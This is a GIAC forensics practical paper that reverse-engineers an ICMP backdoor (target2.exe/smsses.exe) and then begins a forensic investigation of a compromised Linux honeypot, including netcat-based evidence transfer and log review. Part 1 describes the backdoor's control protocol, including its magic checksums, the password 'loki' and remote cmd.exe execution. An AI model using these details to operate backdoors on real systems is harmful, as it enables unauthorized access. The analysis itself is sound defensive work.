Global Information Assurance Certification Paper

Analyses of Italian Malware, Romanian Rootkits, and United States Computer Law

GIAC Certified Forensics Analyst (GCFA)
Practical Assignment
Version 1.3 (March 20, 2003)
SANS 2003, San Diego

Michael T. Ford
August 25, 2003

Abstract

Crimes committed either with or against computers are becoming much more common and publicized than ever before. An investigator of these crimes needs to be able to call on a lot of resources in order to solve the crime. The tools (programs) that criminals use to commit crimes are becoming more and more sophisticated. Companies that produce operating systems come out with new versions on a regular basis, and each new version provides new software and new vulnerabilities. The law regarding computer crimes is constantly changing to keep up with the changes in the computer industry and the increasing technique of the criminals. The computer forensics analyst is caught in the middle of all this change. In order to thoroughly investigate a crime, he needs to understand the current state of technology. He needs to know the ins and outs of the latest operating system, and he needs to understand what the bad guys are doing. He also needs to know how to stay inside the law while still satisfactorily performing his job. This paper serves to show satisfactory comprehension of the course material provided by the SANS (SysAdmin, Audit, Network, Security) Institute for the GIAC Certified Forensic Analyst (GCFA) certification.

The forensics analyst will often come upon a file that is unfamiliar to him. In some cases, he will need to have a general idea of what the file is used for, and in other cases, he may need to know exactly how it behaves. Sometimes, malicious programs, known as "malware", are installed on a system. In order to find out what the files are used for, the forensics analyst may have to reverse-engineer program. In part one, I will analyze a piece of malware unfamiliar to me. I will use standard reverse-engineering tools and techniques to find out what the program does. I will then discuss the legal consequences of running such a program and how an investigator might approach a person suspected of using the malware.

In many investigations, the forensics analyst won't be analyzing only one file; he will be analyzing a whole system that has been compromised by a computer criminal. In this situation, the investigator is no longer trying to figure out that the needle is use to sew, but to find the needles in the haystack. The methods for this situation are much different than in part one. In part two, I will analyze a computer system running the Linux operating system. When I began the investigation, the intruder was still using the system. I will show a timeline of what the intruder did on the system and where he came from.

In some investigations, system administrators will find it necessary to deal with law enforcement officers. In part three, I will discuss some of the laws in the United States and in the Commonwealth of Massachusetts relating to dealing with government agencies after a computer crime has been committed.

Table of Contents

Part 1 - Analyze an Unknown Binary

In this part, I will examine an unknown binary file to find out its function. First, I download the binary file called binary_v1.3.zip for this part from the GIAC (Global Information Assurance Certification) web site at www.giac.org.

After downloading the file, I verify its integrity using the cryptograhic checksums MD5 and SHA1. No original checksums were provided to match these against, but these will serve to identify the file I just downloaded.

```
gizmo% md5sum binary_v1.3.zip
057c5acf6ee979413e0cb6daeaccea7d  binary_v1.3.zip
gizmo% sha1sum binary_v1.3.zip
430c11d9a509f8d7ab8f5356778cb322004bc440  binary_v1.3.zip
```

These checksums use a complex mathematical algorithm to generate a "signature" of the file. The signature, or checksum, returned by "md5sum" is a 128-bit quantity. The probability of two files having the same checksum is one in approximately 3.4 x 10^38. "sha1sum" uses a different algorithm to return a 160-bit quantity. The probability of two files sharing the same checksum with this algorithm is one in approximately 1 x 10^48 or approximately 4 billion times less likely than with md5. Over time, more secure digesting algorithms replace other less secure algorithms, due to the fact that as computers and networks of computers become faster and faster, it would take them less time to test different files that might have the same checksum. The reason that checksums are important is that sometimes unsavory people replace files with altered copies of the files for potentially malicious reasons. A program a user downloads off the Internet may be a trojan and perform a different function than what he expects it to. The wording of a legal document may be changed slightly to favor one party. Checksums verify that the file one person receives is the same file another person meant to give him. It's important that the checksums be very hard to duplicate. If it were easy to find a file sharing the same checksum as another file, the algorithm would become useless since it would no longer be able to verify one file is the file the owner claims it to be.

File Analysis

In file analysis, I will try to determine what this file is used for just by looking at parts of the file. In this mode of analysis, I won't run the program at all.

One of the first things to do is to look at the MAC times of a file. The MAC times are the Modification, Access, and Change times associated with the file. The modification time tells when the contents of the file were last modified. The access time tells when the contents of the file were last looked at, and the change time tells when any data about the file, such as its permissions, ownership, or other attributes change. In this case, I can't get any valid dates from my computer about this file because the file didn't originate on my computer.

All of the dates will be set to the time I downloaded the file. This particular file, though, appears to be a ZIP compressed archive file, which I deduce from the ".zip" file extension. Because an archive contains another file, I might be able to get some data about any file(s) in this archive.

The only information I can get about the zip file is its size, which is 5687 bytes.

```
gizmo% ls -l binary_v1.3.zip
-rw-r-----    1 mike     mike         5687 Mar 25 21:50 binary_v1.3.zip
```

I can get information from the zip file about the files it contains. The file, target2.exe contained in this zip file is 26793 bytes in size.

```
gizmo% zipinfo -l binary_v1.3.zip
Archive:  binary_v1.3.zip   5687 bytes   1 file
-rwxa--     2.0 fat    26793 b-     5567 defN 20-Feb-03 12:45
target2.exe
1 file, 26793 bytes uncompressed, 5567 bytes compressed:  79.2%
```

A file called target2.exe was added to the zip file on Feb. 20th, 2003 at 12:45 pm. I will extract that file from the archive with the "unzip" command, and from here on, I'll be analyzing the file "target2.exe". The ".exe" file extension on this file suggests that it is an executable program from either Windows or DOS.

```
gizmo% unzip binary_v1.3.zip
```

I use the binlook utility to get more information about the headers of the program. The timestamp in the windows header of target2.exe indicates that it was created on Thu Nov 28, 2002 at 02:53:13am. This time is UTC, so depending on where the creator of the zip file is located, this might be 9:53PM on Thursday, November 27th, 2002 for someone on the East Coast of the United States or 6:53PM on November 27th for someone on the West Coast of the United States. This date and time corresponds to the evening before the US Thanksgiving holiday. With enough evidence, we could correlate this time and determine more information about the author.

```
gizmo% binlook target2.exe
...
  Signature: PE
  Machine: Intel x86
...
  Time stamp: (0x3de5cb69) Thu Nov 28 02:53:13 2002
...
```

No owner is associated with this file, either in the zip file or in the exe file. Some archiving formats, such as tar, will save the user and group ids associated with a file.

I then use the "file" command to identify the type of file this is.

```
gizmo% file target2.exe
target2.exe: MS-DOS executable (EXE), OS/2 or MS Windows
```

"binlook" also tells us that target2.exe is a Windows PE executable for use on the x86 platform. Occasionally a bad guy may change the extension of a filename to confuse someone who may stumble upon it. That's why the investigator should double check. In this case, the file extension matches the file type that "file" and "binlook" returned.

Next I look into the file with the "strings" command. One can't just look at an executable file in a text editor because the file contains binary data, which are the machine commands the computer uses to run the file. Among these commands though, one can find strings of text that are used by the program to communicate with the user. One command which may be used to retrieve these strings is "strings."

```
gizmo% strings -a target2.exe
KERNEL32.dll
WSASocketA
MFC42.DLL
sprintf
MSVCP60.dll

impossibile creare raw ICMP socket
RAW ICMP SendTo:
======================== Icmp BackDoor V0.1 ========================
========= Code by Spoof. Enjoy Yourself!
 Your PassWord:
loki
cmd.exe
 Exit OK!

smsses.exe
Start service successfully!
Starting the service failed!
starting the service <%s>...
```

I removed the irrelevant data and unintelligible strings from this output. We can gather a lot from this text. In the first five lines, we see strings ending with ".dll". These are filenames of some commonly used DLL files under the Windows operating system. Operating systems usually provide "libraries" of functions for programmers to use for their programs to interface with the operating system. This both provides a standard interface to the operating system and keeps the programmer from having to write the same functions over and over. The programmer doesn't have to include the actual instructions for these library functions in his program. If he just tells the compiler that he wants to call the function, when the program runs, it will automatically load the correct functions from the right libraries. Another advantage to having libraries of functions separate from the program is that the libraries can be upgraded without changing or reinstalling all of the programs on the system. In Windows, these

libraries that are loaded at runtime are called DLLs, or Dynamically Loaded Libraries. WSASocketA is a function under Windows to create the basis for a network connection. That tells us that this program will probably be using the network. The sprintf function is a common function used for string formatting. The following line, "impossibile creare raw ICMP socket", appears to be in the Italian language. This might tell us that the person who wrote this program is Italian. If this is true, then we should consider that the file may have been created at 3:53AM by someone in Italy. Hackers are known for their late night hours so this may make sense.

ICMP stands for "Internet Control Message Protocol". ICMP is normally used for debugging computer network problems or otherwise sending data about the status of the network to computers. It's more of an administrative protocol, whereas TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) are used to pass content around the network. A "backdoor" is a program that allows a user to access a computer in a way they normally couldn't or wouldn't have access to. The string with "Icmp BackDoor" implies this file will allow a remote user to run commands on this computer through use of the ICMP protocol.

There is a program in existence that runs on UNIX called loki that provides the service of an ICMP Backdoor. The reference to loki here may mean that this program is similar to Loki. The strings "cmd.exe" and "smsses.exe" appear to be filenames. cmd.exe is program under Windows that gives a user a "shell" that can be used to enter commands to be run. This program could use cmd.exe to run commands, or it could do something with the file itself, such as replacing it. "smsses.exe" isn't a known as a common filename on Windows, according to a search on google.com. The next three lines referring to "service" may tell us that this program will be installed as a Windows "Service". A service is a program that runs in a non-interactive fashion on a computer and is used to provide some service, such as printing services when a user wants to print a document. There are many services that are started when Windows starts, so it would be easy to hide a bad piece of software as a service among the many useful services.

Execution Analysis

Now that I've analyzed the program just by looking at it, I will study the program by running it. This way, I can see how it behaves and what it appears to do.

I test the target2.exe file on a windows server to analyze what it did when it runs. One doesn't want to run a piece of malware on a valuable server or on a server connected to the Internet. Because I don't know what the malware does when it runs, I want to minimize the risk of damage to my own system, as well as those systems on the Internet. Instead of having a physical server, I used VMware's Workstation program on my forensics workstation. VMWare Workstation creates a virtual hardware server on a host operating system. It appears as a window on the computer's desktop, but it provides the same hardware support to an operating system installed on it. This means I have

another computer which exists in my computer. I will install Windows on this virtual computer, and I will watch this computer from many angles with different tools to find out what happens when I run the malware under Windows.

After installing VMWare, I install Win2K Pro on the virtual machine. I then use ftp to transfer the malware to the windows machine. With target2.exe in a temporary directory on the Windows server, I run McAfee's Virus Scan against the file, but it isn't able to match the file against any of its stored signatures. McAfee hasn't helped us to identify the file.

Next, I launch four applications:

1) filemon is used to monitor all file accesses. This would include, for example, programs creating files, deleting files, reading from files, or writing data to files. These accessses are logged to a file for later analysis.
2) regmon monitors all accesses to the Windows registry. The registry holds information that will be used each time a program is started. This could include license keys, locations of installed files, or programs that should run each time Windows is started. Some malware programs will modify the registry so that they start automatically when Windows boots. This means that even if the program is killed, or stopped, it may restart at a later time.
3) tdimon monitors all information sent over the network. This will allow us to see if the malware tries to connect to other sites, either to transfer information or to attack them.
4) procexp keeps a list of all processes, or programs, currently running on a computer. When a new process starts, it is added to the list. When a process dies, or stops, it is removed from the list. This will allow us to see that the malware appears as in the list and if it starts any other programs.

I open a DOS window and type "target2.exe", in order to run the file. A window pops up with an error saying that MSVCP60.dll could not be found. I then use Google to search the internet for this DLL, which I then find at <http://www.dll-files.com/dllindex/dll-files.shtml?msvcp60> and download to my forensics workstation. This DLL reportedly doesn't get installed when Windows is installed, but it does come with software such as MS Office.

The DLL comes archived in a ZIP file. I run md5 sums on the zip file and the dll in order to identify the file later on, if necessary.

```
gizmo% md5sum msvcp60.zip
f83aee0ceb286ce0d3f12a455cb54297  msvcp60.zip
gizmo% unzip msvcp60.zip
gizmo% unzip msvcp60.zip
Archive:  msvcp60.zip
  inflating: MSVCP60.DLL
  inflating: readme.txt
gizmo% md5sum MSVCP60.DLL
6050bcc1b23f3df7a1876cbdcbac8232  MSVCP60.DLL
```

I then use ftp to transfer and install the dll into the \winnt\system directory on the windows server. The four monitoring programs are already running, but they aren't logging. This is so logging can be started and stopped at specific

times in order to minimize the amount of data collected to just what's necessary. In preparation for running the malware, I enable logging on the four monitoring applications. Then from Windows Explorer, I double-click on target2.exe in order to run it.

Source Analysis

Source analysis is the studying of the program's programming code without actually running the program. This is safer than running the malware program because it doesn't give the program a chance to do anything bad, but at the same time the disadvantage is that in a complex program, it may be hard to analyze exactly what the program is doing without running it.

When we ran the strings command against target2.exe before, we saw the string "loki". That may be a clue that this piece of malware is a port of the tool from the Unix or Linux operating system. A port is a translation of the source code of a program so that it can run on a different operating system. Although the source code is in the same language, one might say that different operating systems speak different dialects. This means that the source code must be changed slightly to run on a different type of system. So assuming that this might be a port of the loki backdoor, I search on Google for "loki source". Google points me to an article in issue number 49 of Phrack magazine, which is a well known underground magazine that publishes many articles on hacking. This particular issue of Phrack describes loki as a utility to tunnel packets inside of the ICMP protocol. This means that communications to a particular computer are sent in a manner that is usually used for network status information, for example, if a computer is running or a certain service isn't available on a computer. By hiding communications in the ICMP protocol, a hacker might be able to avoid detection by a system administrator since most data connections occur on other "transport" protocols, such as TCP or UDP.

I then search Google for "loki source icmp tunnel". This returns to me a link to issue number 51 of Phrack magazine. In this issue, the editors published the source code to the loki backdoor. It doesn't support the Windows operating system, but it might be a reference point later.

A search for "windows loki icmp backdoor" doesn't return anything useful.

I pursue the string "impossibile creare", which I found in target2.exe. This appears to be in the Italian language, meaning "impossible to create". I search some Italian search engines for that string, along with various combinationsof "loki", "icmp", and "backdoor", but I don't find anything useful here either.

Another Google search shows us that "target2.exe" is a common name for programs compiled with Visual Studio on Windows. This generic name may be used so as not to give us a clue as to the function of the program.

The next step is to disassemble and decompile the program. For this, I used two applications: OllyDbg and REC. OllyDbg is a debugger program which is useful for looking at the machine code of a program and examining data as a program runs. REC is a program known as a decompiler. It will take a program and return a crude representation of the original high-level source code, which is

different from machine code. Machine code is the instructions the computer runs, and source code is the instructions that the programmer writes, which are then turned into machine code by a compiler. The source code returned by REC isn't very near to what the programmer originally wrote, but it gives us another view of the program, in order to find meaning.

The first step is to find all of the functions. A function in a program is a set of instructions that in sequence perform a specific task. A function might then call another function or return a value to a calling function. This is analagous to the way an office might work, with each person being a function. A manager will give some work to an employee to do. When the employee has completed that work, he will give the manager a status update. This office interaction would be two functions. The first function calls the second function, and the second function performs some instructions, and then returns a value. After finding all the functions in a program, we can start to discover what they do, by what instructions they execute. We can also gather information about a function by what functions call it and what functions it calls. For example, if we determine that a function takes a string of characters and then returns that length, we can assume that functions calling this function are doing some kind of string manipulation. At this point, none of the functions has a name, so we have to make some educated guesses on what to call them. Some programs are compiled with extra information for debugging, which would contain the names for the functions. We aren't so lucky in this case. The functions in a program might also call functions that are provided with the operating system. These are functions that are the same no matter what program is being run, and they enable a program to interact with the operating system or even with other computers on a network. In this case, the program contains a list of the library functions provided by the operating system. We can replace the numeric addresses of the function calls in the program with the actual names, and that gives us more clue what each function is doing.

Eventually, by turning the machine code into human readable instructions, we can determine that this program, target2.exe, should actually be called smsses.exe and be installed somewhere where the operating system would expect to find programs to start when the operating system starts up. It should be installed with the command:

```
smsses.exe -i <ipaddr>
```

when ipaddr is the Internet address that this program should listen on for connections from other computers. It will listen on that address on port 7878. All Internet connections have two numbers on each end associated with them. An Internet address is analogous to an company phone number. The port number is then analogous to an office extension. For an Internet "socket" connection, there is an address and port (phone number and extension) on each end of the connection (call). In this case the malware program's port (extension) is 7878. The hacker knows that whatever address he eventually connects to with this

client program, he'll be trying to reach this port. The client program will transfer information from his computer to this victim computer.

Further examination of the source code shows that the program listens on a raw socket for an IP packet. A socket is analogous to the telephone in the office building. A raw socket is analogous to the lineman's set that the telephone company repairman uses in the basement of the building to connect to the patch panel where all the phone lines come in. He's able to plug in and hear any conversation taking place. Similarly, with a raw socket, a program can receive any communication reaching this computer. In this case, the program isn't actually eavesdropping on everything coming in; it's looking specifically for a certain type of packet, or piece of information.

The program first verifies that the packet of data it receives from the network uses the "Internet Protocol". This means that the data comes across the Internet, and not from a different kind of network, such as Apple's proprietary networking technology called AppleTalk. Next, the size of this packet of data must be 57 bytes, or characters, in length. It appears that the transport protocols header must be eight bytes, so that would allow ICMP or UDP. We'll assume UDP for now. The source port must be equal to zero, and the length of the packet reported in the header must also be equal to zero. Commands are then issued by a client computer at another location. There is a maximum length of time between commands of ten seconds before the server resets the connection.

In order to establish a connection with this server, the client must sent a packet with the checksum set to 65283. After the connection is established, the client must authenticate by sending a packet with the checksum set to 65282. In addition the data in the packet must contain the password "loki" and the command to run on the server side. After the program is started, the client can send further data in packets with the checksum set to 65281. The password "loki" must also still be included before the data. To end the connection, the client sends a data packet with text containing "exit". All responses from the server come back over the ICMP protocol.

Legal implications of running malware

There may be legal implications to running this malware on a system. First of all, it must be proven that the malware has been run. This can be proven by looking at the list of services in the control panel. Since we know that the service is started when it's first installed, it doesn't matter if it's running or not in that list. Another way to prove it's been run is to look at the registry for the keys that get installed when the program runs the first time.

Running this malware on a system may break laws related to unauthorized use of a computer system, circumvention of security controls in that the hacker had to get the malware to the system in the first place, which would also bring in unauthorized access of a system.

Interview questions

The investigator may want to question the owner of the computer to find out who installed the program and why. It's possible the owner installed it for good or bad reasons, and it's possible someone else installed it and the owner isn't aware of it. In order to figure the answers to those quesitons, we could ask the owner some questions. We don't want to accuse the owner of anything, because we don't want him to get defensive, which wouldn't help us any, whether he's in the right or the wrong. Therefore we ask leading questions to help us find out the who and why we're looking for.

a) Joe, you manage machine XYZ. Who else has access to this machine?
This question will help narrow down the list of suspects. If Joe names other people who have access to this machine, an investigator could then speak with them. If Joe says that noone else has access, then either he or an unknown intruder placed the file on the computer. Joe might also be able to tell us if someone else has been using his computer temporarily.

b) Have you noticed anything out of the ordinary on this machine lately?
If Joe says that he has seen anything out of the ordinary, it could point us at a hacker, and Joe might also be able to provide more information. If Joe would normally see the unordinary things and he hasn't seen anything, then Joe might be the only user on this system.
c) We found a file called target2.exe on your system. What is this file used for, as far as you know?
This question gives Joe a chance to have a good explanation for the existence of the file without having to get defensive.
d) We also found a file called smsses.exe on this system. Do you know what it is?
This is a similar question to the last, and unless Joe has a good reason for using this program, he shouldn't know what the file is.
e) It isn't normally installed with Windows. Where do you think it might have come from?
Joe might be able to tell us about any recent software installs or file transfers that could have placed the file on the system.
f) It's also listed as a service in the Control Panel. Do you know what this service might be used for?
Again, Joe shouldn't know the answer to this question unless he's familiar with the program.

Interviewing a possible suspect can be difficult because the interviewer doesn't want to give away too much information, and he wants to get as much information from the interviewee as possible. The interviewer doesn't want Joe to figure out he's a suspect and stop talking, but the interviewer has to give him enough lead to get Joe to share some information.

Links to other information

Some other sources of information relevant to this program are:

- The source code to Loki, an ICMP backdoor, was published in Phrack magazine. <http://www.phrack.org/show.php?p=51&a=6>
- RFC 792 is the specification for the implementation of ICMP. One would reference this document to find out what normal ICMP traffic looks like on a network. <http://www.faqs.org/rfcs/rfc792.html>
- This paper covers different kinds of covert shells, similar to the one demonstrated here. <http://gray-world.net/papers/covertshells.txt>

Part 2 - Option 1: Perform Forensic Analysis on a System

Summary

A Romanian hacker exploited a buffer overflow vulnerability discovered recently in Samba to start a shell listening on TCP port 45295. He used this shell to transfer a toolkit to the system, which he installed and ran. He replaced certain system commands and deleted log files in order to avoid detection. He then installed an SSH daemon to allow him future access and an IRC bot which he could use to remotely control the system.

Case Facts

A honeypot was set up and had been running on our company network for several days. It was first noticed something was wrong when the NIDS showed attempts by the honeypot to connect to port 6060 on a remote machine. This workstation had recently been installed with RedHat Linux 7.2, but it wasn't officially in use.

System Description

This machine is running 100Mbps ethernet and is connected via cat-5 UTP cable to a switch. An NIDS box lays between this server and the Internet. The system has a CD-ROM drive and a floppy drive that I should be able to use to get forensic tools onto the system. I tag the computer and its hard drive for later identification.

Tag #	Evidence	Description
1-A	Computer	Hewlett-Packard NetServer 5/66 LC Product Number: D3314-60101/D3314A Serial Number: 3434S20775
1-B	Hard drive	Western Digital Caviar 22500 Model: AC22500-00LA Serial Number: WM 349 334 6266

Computer system with a 2559.8 Meg hard drive, an internal 3.5" high density floppy drive, a CD-ROM drive, and a Network Interface Card (NIC).

Gathering Evidence

When I begin the investigation, I'm aware that the intruder on this system is probably still active because the NIDS is showing a current connection attempt

to a remote server. I must take care in investigating the system. Because a hacker has been on the system, I don't know whether he was set booby-traps that could cause damage to the data on the system if I run certain commands or even just log in. I also don't know if he'll damage or change data when and if he sees me on the system. Because of that, anything I do on the system while it's still running must be planned in advance and executed efficiently.

It's debated in the forensics community what the first steps in the investigation should be. Should the computer just be turned off? If one just pulls the plug, none of the contents of memory will be saved, but at the same time, nothing on the disk will be changed. What if the computer is shut down cleanly? Then any file buffers in memory will be written out to disk, and the disk will have a clean filesystem for analysis. Should certain volatile data be retrieved from the system before it's shut down or turned off? In this case, there will be more data to analyze, but the system under examination will be somewhat changed by the investigator's actions, and we don't want to taint the evidence. There's a dilemma here in that the volatile data is also evidence. If we don't gather the volatile data, we'll lose evidence when the power to the computer is removed, and this evidence is potentially very important. If we do gather the volatile data, we will change some of the evidence because certain memory structures and disk files will change when we log in and run commands.

In this investigation, I'll retrieve the volatile data in memory, but I'll keep track of my actions.

I need to know exactly what their effect on the system is. In the memory, one can find the programs currently running, the current users of the system, data that hasn't yet been written to disk, disk data that is cached, pending network traffic, and many other things. This is an instant snapshot of the current activity, not just a picture of the history. I am not aware of many tools to collect this data other than the system dump facilities; however, linux doesn't normally have this capability by default. Not many forensics tools are normally installed on a system, so I'll need to get the tools onto the system to collect the volatile data.

Imaging the Media

At 13:00 Eastern Daylight Time on Saturday, June 28, 2003, I began the actual investigation. I want to get the volatile data off the system, so I need to install two utilities: procget and memget, neither of which is already installed on the system. I contemplate using pcat to get the memory for each process on the system, but that would be another command to upload to the system, which would add another change to the evidence, and it would only be used to get process memory, and not any of the other contents of the /proc filesystem.

I log into the machine on the console as the user root. I expect this to have the effect of adding entries to the utmp and wtmp files, as well as logging the login to /var/log/messages. Any commands typed in this shell would be logged in .bash_history. The login also will have the effect of updating the access time on the .bashrc file. I would like to get the utilities onto the system either by floppy disk or by CD-ROM. That way the filesystem on one of those

media could be mounted, and only the mtab file on the system would be modified. Unfortunately, neither of those drives seems to function.

I now use the netcat command to open a listening port on the system, and I redirect the output to a file. I'll run netcat twice in order to bring over the two commands.

```
myhost# nc -l -p 1025 > procget
myhost# nc -l -p 1026 > memget
```

On my forensics machine, I also use netcat to transfer the file to the victim machine.

```
gizmo% nc 192.168.20.72 1025 < procget
gizmo% nc 192.168.20.72 1026 < memget
```

'procget' is a command which will transfer a copy of the /proc filesystem to another host. The /proc filesystem is a virtual filesystem. This is because the files in /proc don't actually live on a disk somewhere. They are bits of kernel memory presented for usage or reading by a person or by programs. It's a window into the current configuration and activity of the system. The "files" on this filesystem give the viewer certain data about the running system. It could be information about processes or the configuration of the networking subsystem or a list of devices on the system. The /proc filesystem is a pretty extensive interface allowing an administrator, or in this case an investigator, to retrieve a wide variety of information about the current state of the system.

In my experience, cpio and tar are not good utilities to read the files from /proc because each uses the stat system call in order to determine the length of the file before it then archives it. Since the contents of these files are generated on-the-fly by the kernel when they are accessed, a stat returns a file length of zero. Because the file length is zero, tar and cpio will both make an entry in the archive for the file, but neither of them will save any data. So in order to archive these files, I will use procget. It opens each file in the /proc filesystem and reads from them until the end of the file. It omits the length check. In addition to reading the files, it also transfers the file's name and contents to a specified address and port. On the remote host, procsave is used to turn the data stream back into a directory tree.

```
myhost# ./procget 192.168.20.2 1025
```

Two other useful files to get are /dev/mem and /dev/kmem. /dev/mem is the entire contents of the system's memory. /dev/kmem is the virtual kernel address space. Because it's virtual space, it will have holes. This makes the archiving of this virtual file problematic since there isn't data right at the beginning of the file. Because parts of the file are vacuous, many programs will fail trying to read this file. I'll use memget, which is a special tool for archiving /dev/kmem. It tries sequentially to read each page from the file. If it receives an error, it is

assumed that the page doesn't exist, and the program moves onto the next one. Similar to procget, memget transfers its data in a stream to a specified address and port.

```
myhost# ./memget 192.168.20.2 1026
```

The next bit of semi-volatile data that can be saved is the swap partition. We'll just use netcat to transfer it.

```
myhost# nc < /dev/hda3 192.168.20.2 1027
```

We've transferred the snapshot of a small window of time to our forensics workstation. There will be a lot of data to analyze from it. Now that the volatile data is saved, we turn off the machine. Nothing further in memory is saved, and nothing is backed up. This is good, because the filesystem won't be changed as it would during a clean shutdown. Also, any deleted files that were in use by running programs will still exist on the filesystem.

An investigator doesn't want to perform forensics analysis on the actual hard drive itself, as it must be kept pristine in order to avoid tainting the evidence. So the next step is to copy the data off of the hard disk onto another filesystem for analysis. Normally, we would want to remove the hard drive and install it in a forensics workstation and use a tool such as Encase or dd in order to copy the entire disk without modifying it. In this case, we don't have a forensics workstation available with which I can perform this process. I do have a laptop which is being used as the forensics workstation so in order to copy the disk, I'll actually copy the partitions off of the system individually with dd. So I boot knoppix, which is a complete linux system on a CD. It seems that the CD-ROM works fine for booting an OS, but with the configuration that was running before I turned off the system, the drive couldn't be mounted so that I could load my forensics tools on CD. Knoppix is bootable, provides many utilities, and uses a minimal amount of memory. The downside to using knoppix is that it will use the swap partition on the hard drive, so the data on the partition is no longer viable for investigation. But we did transfer the swap partition in a previous step before the Knoppix boot, so we still have this data. The two partitions that we're interested in are the boot partition and the root partition. I found a list of partitions using the 'fdisk' command, and outside of the swap partition, these were the only partitions on the disk. Before I transfer the partitions, I run md5sum on them to get the cryptographic checksum of the partition. I can compare this later to the file we're analyzing in order to know that no data has changed during the imaging process. I'll now use the dd command to transfer the partitions to the forensics workstation.

```
# md5sum /dev/hda1
259f2a4b9da3e1adb63813711310c490  hda1
# md5sum /dev/hda2
17094dae8429eb8c4a41b0548fbe32d0  hda2
# dd if=/dev/hda1 bs=8192 | nc 10.0.5.3 1025
```

```
# dd if=/dev/hda2 bs=8192 | nc 10.0.5.3 1026
```

In my evidence directory on the forensics workstation, there are:
- the contents of the /proc filesystem
- the contents of /dev/mem
- the contents of /dev/kmem
- the swap partition from when the system was still running
- the dirty boot and root filesystems from after the power was removed from the system.

The only other evidence which might be useful in this case is the actual network traffic during an attack, but due to established US wiretap laws and a lack of associated case law, it's unclear whether it would be legal to obtain this data from a honeypot environment.

Filesystem Investigation

I'll start out the investigation of the disk looking at overt data, which is the data that is readable text from files which aren't deleted or otherwise hidden, and with which we don't need to use special tools to obtain. I'll look at the log files to see what's there. An important point to consider is that nothing on this attacked system is trustworthy; once an untrustworthy party, such as our hacker, has gained access to the system, it's possible that he changed log files to influence a different interpretation of the course of events. It's possible that he changed commands to report information in a manner that he wants us to see it. That is, some of the data returned may be obscured or deleted. He may also have modified the kernel such that trusted commands may not be able to return correct data to us, even if they haven't been tampered with. Because none of the data on the system that we see in files can be necessarily trusted, we must put together all of the evidence we can find in order to draw a conclusion as to what the most probable course of events was.

In certain steps, the commands I run will need the filesystem to look like it did on the running system. That means the programs shouldn't be able to see the filesystem of the forensics workstation that I'm analyzing the evidence on. In order to do this, I'll "mount" the images of the partitions I took from the victim computer on to a directory called "/mnt/linux" on the forensics workstation. The "mount" command will return an error if I try to mount a dirty filesystem. A dirty filesystem is a filesystem which hasn't been unmounted cleanly when a system is shut down. We know that the filesystems I got from the victim computer are dirty because I didn't do an orderly shutdown; I just pulled the power plug to avoid any unexpected or unwanted changes to the partitions. So how do we get the partitions mounted if they're dirty? I could use "fsck", which stands for "filesystem check", in order to clean up any inconsistencies on the partition images, but then that would be similar to if I had done an orderly shutdown. In addition, I'd be changing my copy of the evidence, which could invalidate a good part of the rest of my investigation. The solution is that I'll copy the images and then run fsck on

the copies, which I'll then mount. So I'll have the original image on which to run many other forensics tools, and the fsck'd copies which can be mounted. I mount the partition images with the "ro" and "nosuid" options. The "ro" option will set a flag in the kernel so that no files can by modified on this partition. That will keep me from accidentally changing a file. The "nosuid" option sets a flag in the kernel so that the "suid" bit on files isn't respected. This protects me from running commands as other users when I'm not expecting it, especially because at this point we can't exactly trust the commands on the victim computer.

```
gizmo# cp hda2 hda2.fsck
gizmo# e2fsck hda2.fsck
gizmo# cp hda1 hda1.fsck
gizmo# e2fsck hda1.fsck
gizmo# mount -o ro,loop,nosuid hda2.fsck /mnt/linux
gizmo# mount -o ro,loop,nosuid hda1.fsck /mnt/linux/boot
```

In addition, because the /proc filesystem was only a virtual filesystem on the victim computer, I'm going to need to find a way to recreate a /proc filesystem for the directory tree I'm constructing. What I'll do is to use the "dd" command again. This time I'll copy from /dev/zero, which is a virtual file that will return a "NUL" character for as long as you read from it. I'll copy to a file I'll call "proc". Next, I create a filesystem on this file and then mount the filesystem on "/mnt/linux/proc". Because "/mnt/linux" is the root of the filesystem we're analyzing, the /proc filesystem would end up at /mnt/linux/proc. Once the filesystem is mounted, I use the procsave command to restore the /proc filesystem I used procget to retrieve off the victim computer.

```
gizmo# dd if=/dev/zero of=proc bs=1024 count=10240
gizmo# mke2fs -m 0 proc
gizmo# mount -o loop proc /mnt/linux/proc
gizmo# cd /mnt/linux/proc
gizmo# procsave < /evidence/1025
```

Now, we have a directory tree under /mnt/linux that looks just like the filesystem structure on the victim computer. In order to get into that "environment" and only be able to see that structure, I'll open up a separate window and use the "chroot" command in it. "chroot" is a command that allows a user to change what the root directory that they see. Instead of the normal "/", the root will now be "/mnt/linux" so that in that window, the commands I run will only see the files under that directory.

```
gizmo# chroot /mnt/linux /bin/tcsh
```

And lastly, as a safety step, I change the command prompt to "unsafe# " so that I remember that any commands run in that window are from the victim computer and aren't to be trusted.

```
gizmo# set prompt="unsafe# "
```

```
unsafe#
```

I won't use the command shell in this window now, but the environment is setup so that I can look at the files from the victim computer in another window and also run certain commands in this chroot'd environment in this window.

Log files

I'll begin with the logs files in /var/log, which on the forensics workstation are located in /mnt/linux/var/log. Since I've mentioned that the victim computer's partitions are mounted under /mnt/linux, I'll not write the prefix after this point so that pathnames are listed as they were on the victim computer.

In /var/log/messages, we see:

```
Jun 28 06:29:32 myhost syslogd 1.4.1: restart.
Jun 28 06:30:09 myhost smbd -D[29360]: log: Connection from 10.20.30.71
port 1095
Jun 28 06:30:10 myhost smbd -D[29269]: log: Generating new 768 bit RSA
key.
Jun 28 06:30:19 myhost smbd -D[29360]: log: Could not reverse map
address 10.20.30.71.
Jun 28 06:30:19 myhost smbd -D[29269]: log: RSA key generation
complete.
Jun 28 06:30:38 myhost smbd -D[29360]: log: Password authentication for
root failed.
Jun 28 06:30:38 myhost smbd -D[29360]: log: Closing connection to
10.20.30.71
Jun 28 06:30:38 myhost smbd -D[29360]: log: Password authentication for
root accepted.
Jun 28 06:31:16 myhost kernel: eth0: Promiscuous mode enabled.
Jun 28 06:45:21 myhost last message repeated 2 times
Jun 28 06:45:22 myhost kernel: eth0: Promiscuous mode enabled.
Jun 28 07:01:21 myhost smbd -D[29360]: fatal: Connection closed by
remote host.
Jun 28 12:54:07 myhost login(pam_unix)[12099]: session opened for user
root by LOGIN(uid=0)
Jun 28 12:54:07 myhost  -- root[12099]: ROOT LOGIN ON tty1
Jun 28 12:54:11 myhost insmod: /lib/modules/2.4.7-
10/kernel/drivers/scsi/sr_mod.o: insmod block-major-11 failed
Jun 28 12:55:06 myhost last message repeated 3 times
Jun 28 12:55:06 myhost insmod: /lib/modules/2.4.7-
